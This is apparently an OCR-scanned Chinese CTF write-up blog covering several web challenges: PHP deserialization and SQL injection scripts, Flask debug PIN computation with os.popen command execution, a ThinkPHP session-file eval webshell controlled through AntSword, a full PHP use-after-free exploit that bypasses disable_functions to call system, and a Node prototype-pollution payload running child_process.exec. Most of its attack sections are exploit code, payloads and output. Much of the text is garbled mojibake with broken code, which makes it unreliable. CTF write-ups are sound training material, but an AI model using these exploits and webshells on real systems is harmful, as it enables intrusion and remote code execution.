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requests
base64
sys
string
hashlib

,encoding

payload|[ 1=(
(3))

r=requests.post(url=url,headers=headers,data=payload)
if( in r.text):

55

print(ss)
break

i@ admini REZ D B, X5 Esearch for keyHIh 7 #E4TsqiEN, &
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ezupload
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@ =

AntSword #BE B BEal
5. 112.90.216.68

s

Svar/www/html / sandbox/d41d8cd98 £00b204e3800998ecffdiTe

Linux 0O68ecde6l489 2.6.32-754.9.1.el6.x86_64 #1 SMP Thu Dec 6

www—data

% 7 Tindex.php I JERY :

<?php
error_reporting(9);

.md5($_SERVER[

echo $sandbox;
mkdir($sandbox) ;
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES[
if (in_array($ext, [

die( )s

move uploaded file($ FILES[

{$sandbox}/{$ FILES][

form method
EfE:
input type

enctype

input type EIE]

form

10

IDDAR

08:02:15 UTC 2018 xB6_64

], PATHINFO_EXTENSION);

. $ FILES[

1} ' >{$_FILES[




BFRRXERXT, , , HBETRKRT, BEHE, » .,

REEARBBEEAIPR, » »

babyphp

TANAEINEFROBE, , , , EE2RT — Fwwwzp, F&TF¥kTED:
update.php:

if ($_SESSION[
echo

)i

$users=new User();

$users->update();

if($_SESSION[
require_once(
echo $flag;

}

?>
T DAE W R EE R <S8 flag 7! ! !

FEHF R

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array( 5
return str_replace($array,
s
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST[ 'username password

select id,password from user where username

./update.php




age

nickname




username
password

token

token' ]=$this->name;
return $idResult;

}
public function update($sql)

B —IRFE Wsafe it F AR L 518 R R FFIL 7 ATk~ HSL Bl R FAFdb&! 1 ! !

function safe($parm){
$array= array( 5
return str_replace($array,

ARG W, BEEERRW, , , REUAEERRXEN, RERBTHRFH! ! !
ATLVE WA RFFIN, REEm2HiEpops! ! !
HEEE:

Class UpdateHelper{
$id;
$newinfo;
$sql;
function _ construct($newInfo,$sql){
$newInfo-unserialize($newInfo);
$upDate dbCtri();

function _ destruct()




echo $this->sql;

s://blog.csdn.net/gq_4

function _ toString()

$this->nickname->update(
ll@_E}ll ;

i $this->nickname=new Info(), #84 w21 F Info ¥ call g % -

function _ call($name,$argument){
echo $this-»>CtrlCase->login($argument[0]);

0 B IX i i $this->CtriCase=new new dbCtrl(), #B-4 < FdbCtrifloginkg %t
%R BT UBATE R sqliEE), I BB Eretunit >R, XERATATLIEEDLHHK! -

function login($sql)

$this->mysqli mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
($this->mysqli->connect error) {
LW, =" . $this->mysqli->connect_error);
}
$result=-$this->mysqli->prepare($sql);
$result->bind param('s', $this->name);
$result->execute();
$result->bind result($idResult, $passwordResult);
$result->fetch();
$result->close();
($this->token=="admin") {
$idResult;

(!$idResult) {
HE!);

(md5($this->password) ! ==$passwordResult) {

=1');

1

T

$ SESSION[ 'token']-$this->name;
$idResult;

BAIE AT LA select password,id from user where username="admin" FJsqliEa)H tHadminf &6 !
FFBIAG R AR«



<?php
Class UpdateHelper{
public $sql;

public function __ construct(){

$this->sql= new User();

Class User{
public $nickname;
public $age;
public function _ construct(){
$this->nickname new Info();

$this->age

Class Info{
public $CtrlCase;
public function _ construct(){
$this->CtrlCase = new dbCtrl();

class dbCtrl

{ public $token;

public function __ construct(){
$this->token 5

}

}

$a new UpdateHelper();
echo serialize($a);

A RRTEERKN, BTRMZBEERE, BrURNLIIE LR R KI5
AT LA — T IEHW BFF 314k

ageflinickname @ T AT REBFEHIH) L ! !
Fr Lhpayload 1 TH 2N _Ls:8:“CtriCase”; %A J5 Ml & # /5 H ffICtriCase, » , »
payload:

age=1&nickname CtrlCase UpdateHelper
User nickname Info CtrlCase dbCtrl token admin
select password,Id from user where username "5;}rr11a




B3 adminZE i .

90440ad8ff884788ed99747acb0872c0

md5
yingyingying
E & Fflag:
4 C O 9 % | ® 75e58bf8882340b9%a67eb38ea079be2ec4e56d607a094509.changame.ichungiu.com/update.php

;LR acm=*3 HXCTFTR EXCTFESIES EACTEEES -3 BE Rl

B RFERRRE, FSiENHERASEE

5

f=s9
ZA SRR IBEE T, BRI flag{28cab639-97dc-49b6-8116-2ab0001dfd96}

BiE
AT FF JUH 7T AR BT

<?php
include
header(
$db = new mysql();

$id $_GET[ Iz

if ($id) {

if(check_sql($id)){
exit();

} else {
$sql
$db->query($sql);

1
J

highlight file(__ FILE_ );




A UE A waf, ERBAIATAMuzz—3, DTEERBLET K-

select 200 [ [ 173
% 200 L L 173
* 200 L L 173
= 200 L L 173
' 200 L L 173
updatexml 200 L L 173
< 200 L [} 173
= 200 L [ 173

NHEEERE, HEERNBEEET, AIETERFSEHBEIET,
A LA 3 Fregexp B B B vE, TAIEEE WABKISqE AW select * from f111111llag where id=$id
BATAT AAH 2K — T

from tablel where id=1 if((substr((flag),1,1) ), sleep(5),1)

RIHESR, WA NN YilagEfidg®, ok, HwEMA (WS 2R404) -

requests
sys
string
io

time

io.TextIOWrapper(sys.stdout. ,encoding

for i in (1,43):
for j in x:

payload url (

try:
r=requests.get(payload, timeout=5)

except Exception as e:

flag Jj
print(flag)

break

Ry O S S T -
Y =P =] =
[y O T T S -




blacklist

XIERR H RN 20195R MAR IREREE, AN id A se it F ABIE R H Kpayload
ot ug 7 ARERE B Bpayload ) <8id, , , , NTERESEN, R/IRLIL, , ,

set |prepare|alter|rename|select|update|delete|drop|insert|where|\./1i

A R ee¥e—Fh 7%, A handle® #iselect& W, , ,
payload:

1'; handler FlagHere open hack; handler hack read first; handler hack close

ER

1 25F

arrav(2) |
[o]=>
stringlfl) 17
[1]=>
string(7) “hahahah”

arrayil) {
[0o]=»
string(42) "flag [2hEEF71-3417-489-b55F-38fRd1EdLERT”

Ezsqli

HHARERARNMERE, #A1and 1=1 kI Rhacker, , , ,

N1 88 1=1, 3FIHello NulL, #A1&& 1=07§F|Hello, FFFEEN!

fuzz—3, &KIor, in, unionselectFHHFLIET, , , , orflingid T IERinformationt ge {3 A
TATAT AR BB, ZATHE Wit A sefE HinformationfIiE N,

T] LA Fsys.schema_auto_increment_columnsflsys.schema_table_statistics_with_bufferft &

fﬁﬁ@ﬁ‘]%unionselecﬂ:ﬁﬁﬁﬂﬂ‘ﬁf%, ’ %Eﬁ—‘—F%%:g’ y s :BEWZ'K



requests
base64
sys
string
hashlib

,encoding

for i in (1,60):
for j in x:
SENAKELI]

)%(str(i),ord(j))

r=requests.post(url=url,headers=headers,data=payload)

if(
ss

in r.text):

print(ss)
break

[=

[=]
mowwm

wow

[
i
[l e ¥

[=
[

KRB RA—F|AT LIER: substr((select * from table),1,1)="f, & H LA 1E—F]
B2 T—%], FERENEGSHERENIHTILE, 6 <=#TEHE

BN F X Pl
PR — AR

(select 'admin', 'admin')>(select * from users limit 1)

django
999

=
] tablel
] table2

AT select (select '1','e~")>(select * from table2 limit 1) &R0

AT select (select '1','f~')>(select * from table2 limit 1) &R 1, , ,

AT select (select '1','fl~')>(select * from table2 limit 1) E7x1, FrLARJ LAt

exp.py:

4

?

oy
B




for i
X

if(
ss
else:

SS

requests
base64
sys
string
hashlib
io

time

in strs:
(ord(i))[2:]
(x) 1):
(x)

€9)

return ss

io.TextIOWrapper(sys.stdout.

payload|

,encoding

r=requests.post(url=url,headers=headers,data=payload)
if(
ss

in r.text):

J

print(ss)

break

else

flag ss

)% (str2hex(flag))




;gJ%6a9644—2uZT—éﬁdf—STff—SScd

g1d36a9644-2c27-46df-87f2-38cde

g1d36a9644-2c27-46df87f2-38cdea

g1d36a9644-2c27-46df87f2-38cdead

g1d36a9644-2c27-46df87f2-38cdeadd

g1d36a9644-2c27-46df87f2-38cdeadd’

g1d36a9644-2c27-46df87f2-38cdeadd’f

g1d36a9644-2c27-46df87f2-38cdeadd7f3
g1d36a9644-2c27-46df-87f2-38cdeadd7£32
g{d36a9644-2c27-46df-87f2-38cdeaddT7f32} hitps://blog.csdn.net/qq_42967398

HBANREIL: FrEREA S E-ezsqli-HAE /ML

easysqli_copy

EipiESEE

<?php
function check($str)
{
if(preg_match( ,$str, $mat
ches))

print_r($matches);
return 0;
)i

else

{

return 1;

$db new PDO(

s

catch(Exception $e)

{
echo $e->getMessage();

s

if(isset($_GET][ 1)

{
$id = $_GET[ 15

s

else

{
$test = $db->query(
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res] 15

s

if(check($id))

{
$query
$db->query( )
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();



https://www.smi1e.top/%25E6%2596%25B0%25E6%2598%25A5%25E6%2588%2598%25E7%2596%25AB%25E5%2585%25AC%25E7%259B%258A%25E8%25B5%259B-ezsqli-%25E5%2587%25BA%25E9%25A2%2598%25E5%25B0%258F%25E8%25AE%25B0/

SETREXE: NEFEHENNRPDOREEAMEHRMEH, , , » BERFEWHEA
AEEEREE, REEHTHEEE, .
Al PASE AT IR —F

url

payload
r=requests.get(url+payload)
print(r.text)

FFISET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;iEf]

PXx73656C65637420696628313D302C736C656570283130292C3129 = select if(1=0,sleep(10),1)
RIA LR
PXx73656C65637420696628313D312C736C656570283130292C3129 = select if(1=1,sleep(10),1)
T HE404

E%ﬁﬁfﬁ}\’ b b ’ —'%’WZ!E’ ’ ’ ’

exp:


https://www.freebuf.com/articles/web/216336.html

requests

for i in strs:
X (ord(i))[2:]
if( ©9) 1):
ss (x)
else:
ss

return ss

io.TextIOWrapper(sys.stdout. ,encoding

(1,43):
(32,126):
x = payload2%(str(i),str(j))
payload url payloadl%(str2hex(x))

try:
r=requests.get(payload,timeout=5)
except Exception as e:

flag (3)
print(flag)

break

:;ab Oélaﬁ 6a45 4bOJ b Qb—“faﬁ
1a8e04156—6a42-480d-bc98-ef56d

;EaS e(4156-6a42-480d-bc 98—"f56da

:Eab e(04156-6a42-480d-bc98—efbbdab

:Eab e(04156-6a42-480d-bc98- ~fa6daba

:Eab e(04156—6a42-480d-bc98—efhb6dabb2

:Eab e(04156—6a42-480d-bc98—efH6dabb2b

:Eab e(04156—6a42-480d-bc98—efb6dabb2b9
r1a8e04156-6a42-480d-bc98-efb6dabb2b9f I
- [a8e04156-6a42-480d-bc98-eF5BHRSHPRG£3dN.neliaq_42967398




Day3
Flaskapp

T AT LAE WA RS

AULY Al LELLT el LEL s

<hadeEM A& | </mE
<l-- PIN —-->

Sime are=fataticfimeihint e he

pin! ! EEARET —T, BT —RXE: Flask debug pinZZ 4| i
RIZMEH Zbug, FEME R E IR I F A 5 2 H Bl debug A TH, BEHEZERAE A pindd:

Console Locked

The console is locked and needs to be unlocked
by entering the PIN. You can find the PIN
printed out on the standard output of your
shell that runs the server.

PIN- Confirm Pin

AN I RIE AR RSO, 5 5 5 5
HszfEbaseb4decode b FESSRMRIEN, » , , H{{config)ibase64 % & HE 3 13 F:

£55 1 gILConfig (8#39;ENVE#39;: &#39;production8#39;, 8#39;DEBUGE#39;: True, &#39; TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None,
&#39;PRESERVE_CONTEXT_ON_EXCEPTIONS#39;: None, 8#39;SECRET_KEY&#39;: &#39;s_e ¢ r_e_t ke _y&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;:
datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, 8#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/8439;,
&#39;SESSION_COOKIE_NAME&#39:: &#39;sessi0n8#39;, 8439;SESSION_COOKIE_DOMAIN&#39;: False, &#39:SESSION_COOKIE_PATH&#39;: None,
&#39;SESSION_COOKIE_HTTPONLY&#39;: True, 8#39;SESSION_COOKIE_SECURE&#39;: False, &#39:SESSION_COOKIE_SAMESITE&#39;: None,
&#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39:SEND_FILE_MAX_AGE_DEFAULT&#39;:
datetime.timedelta(seconds=43200), 8#39; TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39; TRAP_HTTP_EXCEPTIONS&#39;: False,
8#39;EXPLAIN_TEMPLATE_LOADINGS&#39;: False, 8#39;PREFERRED_URL_SCHEMES#39;: &#39:htip&#39;, &#39;JSON_AS_ASCII&#39;: True,
8#39;JSON_SORT_KEYS&#39;: True, 8#39;JSONIFY_PRETTYPRINT _REGULAR&#39;: False, 8#39;JSONIFY_MIMETYPE&#39;: 8#39;application/json&#39;,
8#39;TEMPLATES_AUTO_RELOADS#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, 8#39;BOOTSTRAP_USE_MINIFIED&#39;: True,
8#39;BOOTSTRAP_CDN_FORCE_SSL&#39;: False, 8#39;BOOTSTRAP_QUERYSTRING_REVVING&#39;: True, &#39;BOOTSTRAP_SERVE_LOCAL&#39;: False,
8#39;BOOTSTRAP_LOCAL_SUBDOMAIN&#39;: None}&gt;

BRI/ NERS - baseb4 fi#=R

FBEBRIEAN S PATAT, 5, BIRHEEK, ,
flaski B SC A I payload::

__class__ . bases_ [0]._ subclasses_ ()[75].__init__ . globals . builtins__



https://xz.aliyun.com/t/2553

SRR

58 : root:x:0:0:root/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/shbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:656534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false flaskweb:x:1000:1000::/home/flaskweb:

Re1T, REUZAEZE, AFra/B38 7 ~~
flaskweb:x:1000:1000 home/flaskweb

$KElmachine-id:

__class__ . bases_ [0]._ subclasses_ ()[75].__init__ . globals_ . builtins__

read
@14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532

TEdocker¥ 35 N B8 B 2 /etc/machine-id, BEpIn& AR X

458 ¢ 12:pids:/docker/a14b5c675a13d08ace26di66d2305f96e1596317a34c8c2df215b1b5e6aee532
11:cpu,cpuacct:/docker/a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5eGaee532
10:hugetib:/docker/a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532
9:devices:/docker/a14b5c675a13d08ace26di66d2305f96e1596317a34c8c2df215b1bbebaeeb32
8:blkio:/docker/a14b5c675a13d08ace26d66d2305f96e1596317a34c8c2df215b1b5e6aee532 7:rdma:/
6:memory:/docker/a14b5c675a13d08ace26di66d2305f96e1596317a34c8c2di215b1b5ebaee532
5:perf_event:/docker/a14b5c675a13d08ace26di66d2305f96e1596317a34c8c2df215b1b5eb6aee532
4:net_cls,net_prio:/docker/a14b5c675a13d08ace26di66d230596e15686317a34c8c2df215b1bbe6aee532
3:freezer:/docker/a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1bbebaeeb32
2:cpuset:/docker/a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532
1:name=systemd:/docker/a14b5c675a13d08ace26di66d2305f96e1596317a34c8c2df215b1b5ebaee532 0::/system.slice/containerd.service

SKREXMacHs bk :

__class__ . bases_ [0]._subclasses_ ()[75].__init__._ globals__. builtins__

read
02:42:ac:12:00:09
+3t#l: 2485377957897

HN

AR A -

usr/local/lib/python3.7/site-packages/flask/app.py

FIH X EH exp:



import hashlib
from itertools import chain

probably public bits [

O

h hashlib.md5()
for bit in chain(probably public_bits, private_bits):
if bit:
continue
if (bit,
bit bit.encode(
h.update(bit)
h.update(b

cookie_name h.hexdigest()[:20]

num None
if num is None:
h.update(b )
num ( (h.hexdigest(), 16))[:9]

rv =None
if rv is None:

for group_size in 5, 4, 3:

if (num) group_size 9:

rv .join(num[x:x + group_size].rjust(group_size,
for x in (o, (num), group_size))

break




?%@innﬁ%:

FZh#E A\ pythoniZ il & «

Flie  JUsr/local/nn/ pytnons. s /site-packages/Tiask/app.py , ineg f4o07, 1In __ call

return self.wsgi app(environ, start response)

[console ready]
>»> import os
>»> print(os.popen('ls /").read())
app

bin

boot

dev

etc

home

lib

libea

media

mnt

opt

proc
requirements.txt
root

run

sbin

srv

sys

this is the flag.txt
tmp

usr

var

@Ey\ﬂagj{ﬁ::

>»> print(os.popen(’cat /this_is the flag.txt').read())
tlag{93dfeofe-3005-414f-a119-c5562af1b167}
HEHRPOERKB TREXE, butlkf KREFEREN, , BA, ,
easy_thinking

ﬁﬁﬁ@ﬁ&t?‘—%$y LI I B

< C O 9 % | ® 18292.243.154:7893/runtime/session/1.php

prg e AN acm=>] EXACTFIE EACTFEA ¥ HACTRE&R¥s = BiE

iElRENflag{4424232f-959f-4923-b693-cd9b3e7e316f1

A ThinkPHP6 IR,  SeiEM— MK S
6% FHEburp AL, Bikisession, ¥isessiondH.php% B, EEKEMHHRE324L

GRFT fhamaimamherfinday HTTRM 1 'y HTTR 1 200 Ok



Host: 123.57.212.112:7893 Date: Man, 2
User-Agent: Mozilla/5.0 (Windows MNT 10.0; WinG4; x64; n:73.0) Gecko/20100101 Firefox/73.0 Server: Apach
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp **q=0.8 Set-Caokie: PH
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HK; =05 en-US;q=0.3 en;q=0.2 “Wary: Accept-Enco

eb 2020 06:16:51 GMT

4.29 (Ubuntu)
SSID=A_dminala770chdc92a80e940c1. php; path=/
g

Accept-Encoding: gzip, deflate Content-Length: 277,
Origin: http://123 57 212.112:7893 Connection: close
Connection: close Content-Type: text/html; Mgarset=utf-8
Referer: http://123.57.212.112:7893/home/memberflogin
Cookie: PHFSESSID=A_dminala770chdc92a80e94f0c1. php <IDOCTYPE htmi>
Upgrade-Insecure-Requests: 1 <html lang="en">

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1">

RIE = ERREINE B Ksession, FEFRLBEAARD:

POST /homefmember/search HTTP/A .1 : HTTRA .1 200 OK
Host: 123.57.212.112:78593 Date: Mon &4 Feb 2020 06:20:54 GMT
User-Agent: Mozilla/s. 0 (Windows NT 10.0; Wing4; x64; rv.73.0) Gecko/20100101 Firefox/73.0 Server: Apathe/2.4.29 (Ubuntu)
Accept: textthtml applicationfxhtml+xml application/xml; g=0.9 image/webp "™ q=0.8 Set-Cookie fPHPSESSID=A_dminala770chdcd2a80e84f0c1 php; path=/
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 zh-HK; g=0.5,en-US;q=0.3 &n;q=0.2 Wary: Acceff-Encoding
Accept-Encoding: gzip, deflate Content-Lerfyth: 2786
Content-Type: application/x-www-form-urlencoded Connection: flose
Content-Length: 94 Content-Typl: text/html; charset=utf-8
Crigin: http: /123,67 212.112:7893
Connection: close <IDOCTYPH htmi=
Referer: http:/1123.57.212.112:7893/home/member/search <html lang="gn">
Cookie: PHPSESSID=A_dminala770chdc92a80=94f0c 1. php
Upgrade-Insecure-Requests: 1 <head>
<meta charset="utf-8">
tey:%SC%Sthp+%40eva\%28%24_POST%5B%27pass%2.'r'%5D%29%38%3F%3E++%30%3th <meta name="viewport" content="width=device-width, intial-scale=1">
+phpinfo %28 %29 %38 %3F %3E
| <title>Demeo</title>
<I-- Fonts -->
<link href="fpublic/static/bootstrap/css/googleapis.css” rel="styleshest" type="text/css">
<l-- Styles -->

AUE R

< > C O 9 ﬂ( |®123.57.212.112:7893/runtime{session/sess_A_dmina'la??chdc92a80e94f0c'l.php
e v TAN acmEF3] HACTFIE EXCTFEEIES HACTFEYFS = BiE LS4

a:2:{s:3:"UID";i:72;5:6:"Record™;s:51:",

hitps://blog.csdn.net/gq_42967398

s F UL S B 15 2
@ +EWs — O X
AntSword &E =0 BEa
4 HH (0123.57.212.112 ¥
O aFESlF (2) < DX#mE (5) ~
=3/ S oFHE ~y ALE SR #E8F  MBEE - jvar/www/html/runtime/session/ 3 E=E
e var &% a1 ol mi
=1 www
S html [ sess_ 2020-02-24 08:14:36 4 Kb 0755
517 runtime [ sess_public 2020-02-24 09:52:36 4 Kb 0755
5 [ session [B sess_1234567890123456789012345678.php 2020-02-24 14:13:23 79D 0644
+ [l sess_ @ sess_A_dminala770cbdc92aB80e94f0c1.php 2020-02-24 14:20:54 93 b 0644
B sess_public [ sess_ala770cbdc92a80e04f0c1798f32474a 2020-02-24 14:20:33 92b 0644
| backups
Il cache
b
| local
I lock
| log

I mail




I opt
I run
| spool
I tmp
| bin
I boot
I dev

I eic
Il home - EHEBNE &

ERVEENE:EF L8

disable functions passthru,mail,error_log,mb_send_mail.imap_mail,.exe | passthru,mail.error_log.mb_send_mail.imap_mail,exe
c,system,chroot,chgrp,chown,shell_exec,popen,proc | ¢,system,chroot,chgrp.chown,shell_exec,popen,proc
_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,sysl | open,pentl_exec,ini_alter,ini_restore,dl,openlog,sysl
og,readlink,symlink,popepassthru,pcntl_alarm,pcntl | og,readlink,symlink,popepassthru,pcntl_alarm,pentl
fork, pentl_waitpid,pentl wait,pentl_ wifexited, pentl w | fork, pentl waitpid,pentl_wait, pentl wifexited, pentl w
ifstopped,pentl_wifsignaled pentl wifcontinued,pentl | ifstopped,pentl_wifsignaled,pentl_wifcontinued,pentl
_wexitstatus,pentl_wtermsig, pentl_ wstopsig,pentl_si | _wexitstatus,pentl_wtermsig,pentl_wstopsig,pentl_si
gnal,pentl_signal_dispatch,pentl_get last error,pentl | gnal,pentl_signal_dispatch,pentl_get last_error,pentl
_strerror,pentl_sigprocmask, pentl_sigwaitinfo,pentl_s | _strerror,pentl_sigprocmask, pentl_sigwaitinfo,pentl_s
igtimedwait, pcntl_exec,pentl_getpriority,pentl_setpri | igtimedwait pentl_exec,pentl_getpriority,pentl_setpri
ority,imap_open,apache_setenv ority,imap_open,apache seieny

ETRMBRERMiErecT, Al B Fexp, XEFERINBECH

B AR
h=NEU = = S Mn | T
[ sess_ 2020-02-24 08:14:36 4 Kb 0755
[0 sess_public 2020-02-24 09:52:36 4 Kb 0755
exp.php 2020-02-24 14:30:11 5.82 Kb 0644
o) ss_1234567890123456789012345678.php 2020-02-24 14:13:23 79b o4
3] Msess_A_dminala770cbdc92a80e94f0cl.php 2020-02-24 14:20:54 93 b D644
D sess_ala770cbdc92a80e94f0c1798f32474a 2020-02-24 14:20:33 92 b o4
= 5% A4
Bt A ks HilEEAT A T REA iE]
i3 exp.php == /var/www/html/runtime £ &5 2020-02-24 14:30:13 2020-02-24 14:30:13
B3
4 C O 9 9% | ®12357.212.112:7893/runtime/session/exp.php

=EFN acmz>] EFACTFIE EXCTFEAITE EACTFEEFE = = =l

flag is flag{4424232f-959f-4923-b693-cd9b3e7e316f} &

exp.php:

<?php




global $abc, $helper, $backtrace;

class Vuln {

public $a;

public function _ destruct() {
global $backtrace;
unset($this->a);
$backtrace (new Exception)->getTrace();
if(!isset($backtrace[1][ 1) {

$backtrace = debug backtrace();

class Helper {
public $a, $b, $c, $d;

function str2ptr(&$str, $p = 0, $s = 8) {
$address 9;
for($j = $s-1; $j @; $j--) {
$address 8;
$address ord($str[$p+$j1);

}

return $address;

function ptr2str($ptr, $m 8) {
$out 5
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & Oxff);
$ptr 8;
)i

return $out;

function write(&$str, $p, $v, $n = 8) {
$i = o;
for($i = @; $i < $n; $i++) {
$str[$p + $i] chr($v & oxff);
$v 8;

function leak($addr, $p 0, $s
global $abc, $helper;
write($abc, 0x68, $addr $p
$leak strlen($helper->a);




if($s 8) { $leak
return $leak;

function parse_elf($base) {
$e_type leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e phoff + $i * $e_phentsize;
$p_type leak($header, 0, 4);
$p_flags leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type 1 $p_flags 6) {

$data_addr = $e_type $p_vaddr : $base + $p_vaddr;
$data_size = $p memsz;

} else if($p_type 1 $p_flags 5) {
$text size = $p memsz;

$data_addr $text size $data_size)

return false;

return [$data_addr, $text size, $data_size];

function get basic_funcs($base, $elf) {
list($data_addr, $text size, $data size) $elf;
for($i 0; $i $data_size 8; $i++) {
$leak leak($data_addr, $i 8);
if($leak $base 0 $leak $base $data_addr $base) {
$deref leak($leak);

if($deref Ox746e€6174736e6163)
continue;

} else continue;

$leak = leak($data_addr, ($i + 4) 8);
if($leak $base 0 $leak $base $data_addr $base) {
$deref leak($leak);

if($deref 0x786568326€6962)
continue;

} else continue;

return $data_addr $i 8;

function get_binary_base($binary leak) {
$base 9;
$start $binary leak oxfffffffffffffooo;




{
$addr = $start 0x1000 * $i;
$leak leak($addr, 0, 7);
if($leak 0x10102464c457F) {

return $addr;

function get_system($basic_funcs) {
$addr $basic_funcs;
do {
$f _entry = leak($addr);
$f name = leak($f_entry, 0, 6);

if($f_name 0x6d6574737973) {
return leak($addr + 8);
}
$addr 0x20;
} while($f _entry 9);
return false;

function trigger uaf($arg) {

$arg str_shuffle(str_repeat( > 79));

$vuln = new Vuln();
$vuln->a = $arg;

if(stristr(PHP_OS,
die(

$n_alloc 10;
$contiguous [1;
for($i 0; $i $n_alloc; $i++)
$contiguous| ] str_shuffle(str_repeat( > 79));

trigger uaf( );
$abc $backtrace[1][ 1101;

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) 79 strlen($abc) 9) {
die( )5

$closure_handlers str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, ox60, 2);
write($abc, 0x70, 6);




write($abc, 0x18, oxa);

$closure_obj str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die( )

($elf parse_elf($base))) {
die(

($basic_funcs = get_basic_funcs($base, $elf))) {
die( B

($zif _system = get system($basic_funcs))) {
die( )s

$fake_obj offset = 0xdo;
for($i = 0; $i < ox110; $i 8) {
write($abc, $fake obj offset + $i, leak($closure obj, $i));

write($abc, 0x20, $abc_addr + $fake obj offset);
write($abc, Oxde + ox38, 1, 4);
write($abc, Oxdo + Ox68, $zif system);

($helper->b)($cmd);
exit();

ezExpress

XIEBEEAWE, , , ZEbuwu b BIEILI T, ERENSEHESE, 84, ,
B Se R H E R BARE S SRS, FHjavascriptk/NE ik g3t .

ADM1N

M ADMaN K5, ERIhEREHEE, ETRMEMAREMESRT, ,
payload:

{"__proto__ ":{"outputFunctionName":" tmpl;global.process.mainModule.require('child _process"').exec('bash -c \"cat
/flag > /app/public/flag\"');//"}}

c \"cat /flag > /app/public/flag\



https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

Body 4)

m Q

Pretty Auto ¥ =0

i1 kscriptralert(’success’);history.go(-1);</script>

LF NI, 215 A — Finfo:

Y O %  © ef7d4fba-f736-4cd6-99a1-8b475ce2926.node3.buuoj.cn/info kv

HEACTFIE EXRCTFEIFES BACTFEIFE o= B =

Hint

Hello,_tmp1;global.process.
mainModule.require('child_pr
ocess').exec('bash -c "cat /fla
g > /app/public/flag™);var _
_tmp2 {EERADMINE R

rr r
router.get ('/info', funetien (reqg, res) {

res.render ('index’' ,data={'user’' :res.outputFunctioniName}) ;
1)

o mdan T e mmd m  mmmmmd e

W5 X ViR —TflagXfF, Bt EEZ THE! 52fag:

ERgEEE:  ttpy//ef7d4fba-f736-4cd6-99a1-8b475ce2926.node3.buuoj.cn/flag | =]
TEREL Er ] . 40.25GB
IAFE: flag (1) 43.00Byte

sl B index. jsEd| B indezx. ejs = flazEd |
flag{033856fe—cce9—-4af5-be2e—-f1033d1l0cdca}

AR M S EBE R, ARERT A, e BRPITRIN T, HERAZlag3 .
B by SHPRAH, WEE, qoFR, XE2AHAK—K! 1!
HEFMIERIMERTEFE T 2A~~BEAR
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